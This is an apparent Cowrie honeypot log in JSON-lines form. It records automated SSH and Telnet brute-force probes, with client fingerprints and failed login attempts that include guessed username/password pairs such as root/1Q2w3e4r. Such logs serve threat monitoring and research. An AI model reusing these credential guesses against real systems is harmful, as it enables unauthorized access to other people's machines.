{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:49.209382Z","src_ip":"185.236.22.41","session":"fe3db68b1477","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23456","message":"login attempt [root/23456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:49.681039Z","src_ip":"185.236.22.41","session":"fe3db68b1477","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.031755685806274,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:50.146470Z","src_ip":"50.6.8.71","session":"732fd13d6a40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45516,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4af6e559d3b","protocol":"ssh","message":"New connection: 192.109.200.237:45516 (159.203.135.109:22) [session: e4af6e559d3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:50.355985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:50.360546Z","src_ip":"192.109.200.237","session":"e4af6e559d3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:50.443011Z","src_ip":"192.109.200.237","session":"e4af6e559d3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"testing@1234","message":"login attempt [testing/testing@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:50.688304Z","src_ip":"192.109.200.237","session":"e4af6e559d3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:50.804121Z","src_ip":"185.236.22.41","session":"fe3db68b1477","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:51.772942Z","src_ip":"192.109.200.237","session":"e4af6e559d3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45532,"dst_ip":"159.203.135.109","dst_port":22,"session":"49506de07f46","protocol":"ssh","message":"New connection: 192.109.200.237:45532 (159.203.135.109:22) [session: 49506de07f46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:53.638987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:53.643948Z","src_ip":"192.109.200.237","session":"49506de07f46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:53.727039Z","src_ip":"192.109.200.237","session":"49506de07f46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1qaz@WSX","message":"login attempt [test/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:53.974929Z","src_ip":"192.109.200.237","session":"49506de07f46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":51644,"dst_ip":"10.17.0.5","dst_port":22,"session":"744577fa4051","protocol":"ssh","message":"New connection: 46.19.67.181:51644 (10.17.0.5:22) [session: 744577fa4051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:54.716593Z"}
{"eventid":"cowrie.session.closed","duration":33.53286647796631,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:54.921322Z","src_ip":"50.6.8.71","session":"c16a0025d629","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:55.065455Z","src_ip":"192.109.200.237","session":"49506de07f46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45560,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbb7dd5136d0","protocol":"ssh","message":"New connection: 192.109.200.237:45560 (159.203.135.109:22) [session: cbb7dd5136d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:57.034790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:57.039304Z","src_ip":"192.109.200.237","session":"cbb7dd5136d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:57.122178Z","src_ip":"192.109.200.237","session":"cbb7dd5136d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"arthur","message":"login attempt [arthur/arthur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:57.369796Z","src_ip":"192.109.200.237","session":"cbb7dd5136d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.25695300102234,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:57.577286Z","src_ip":"50.6.8.71","session":"ff8705b14ca7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.35.115.64","src_port":49964,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff9200662860","protocol":"telnet","message":"New connection: 190.35.115.64:49964 (159.203.135.109:23) [session: ff9200662860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:58.188763Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:58.454582Z","src_ip":"192.109.200.237","session":"cbb7dd5136d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59286,"dst_ip":"159.203.135.109","dst_port":22,"session":"849b6bfd29ca","protocol":"ssh","message":"New connection: 192.109.200.237:59286 (159.203.135.109:22) [session: 849b6bfd29ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:00.552542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:00.557663Z","src_ip":"192.109.200.237","session":"849b6bfd29ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:00.640733Z","src_ip":"192.109.200.237","session":"849b6bfd29ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"erp","message":"login attempt [erp/erp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:00.889420Z","src_ip":"192.109.200.237","session":"849b6bfd29ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:01.975970Z","src_ip":"192.109.200.237","session":"849b6bfd29ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59292,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c822260cebe","protocol":"ssh","message":"New connection: 192.109.200.237:59292 (159.203.135.109:22) [session: 7c822260cebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:03.891882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:03.896342Z","src_ip":"192.109.200.237","session":"7c822260cebe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:03.978173Z","src_ip":"192.109.200.237","session":"7c822260cebe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:04.224813Z","src_ip":"192.109.200.237","session":"7c822260cebe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:05.310410Z","src_ip":"192.109.200.237","session":"7c822260cebe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59300,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9d95b8a0d2e","protocol":"ssh","message":"New connection: 192.109.200.237:59300 (159.203.135.109:22) [session: f9d95b8a0d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:07.240127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:07.245142Z","src_ip":"192.109.200.237","session":"f9d95b8a0d2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:07.330507Z","src_ip":"192.109.200.237","session":"f9d95b8a0d2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:07.577270Z","src_ip":"192.109.200.237","session":"f9d95b8a0d2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:08.662896Z","src_ip":"192.109.200.237","session":"f9d95b8a0d2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60318,"dst_ip":"10.17.0.5","dst_port":23,"session":"5269d716e4b9","protocol":"telnet","message":"New connection: 50.6.8.71:60318 (10.17.0.5:23) [session: 5269d716e4b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:09.129709Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52980,"dst_ip":"159.203.135.109","dst_port":22,"session":"f13b3416e364","protocol":"ssh","message":"New connection: 192.109.200.237:52980 (159.203.135.109:22) [session: f13b3416e364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:10.730229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:10.735023Z","src_ip":"192.109.200.237","session":"f13b3416e364","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:10.816933Z","src_ip":"192.109.200.237","session":"f13b3416e364","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:11.067647Z","src_ip":"192.109.200.237","session":"f13b3416e364","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.6109139919281,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:11.799593Z","src_ip":"190.35.115.64","session":"ff9200662860","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:12.152180Z","src_ip":"192.109.200.237","session":"f13b3416e364","protocol":"ssh"}
